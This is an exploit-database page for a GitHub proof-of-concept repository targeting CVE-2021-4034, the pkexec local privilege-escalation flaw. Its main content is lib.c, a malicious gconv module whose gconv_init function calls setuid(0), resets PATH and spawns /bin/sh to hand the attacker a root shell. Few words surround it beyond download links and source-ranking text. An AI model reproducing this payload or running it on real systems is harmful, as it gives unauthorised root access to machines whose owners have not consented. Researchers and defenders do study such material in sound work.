Exploit database

GH-ec7ce121fa1a694871ae36d151e1d7f6

gbrsh/cve-2021-4034

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-4034

144 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
gbrsh/cve-2021-4034Revision 7b357bbe25a8

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lib.c

Suggested starting fileC · 452 bytes
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void gconv() {}

void gconv_init() {

  printf("\n");
  printf("\t\t\t    ---[ CVE-2021-4034 ]---\n");
  printf("\t\t\t      (memory corruption)\n");
  printf("\t\t\t	    by gbrsh\n");
  printf("\n\n");

  setuid(0);

  putenv("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin");
  system("/bin/sh");
  exit(0);
}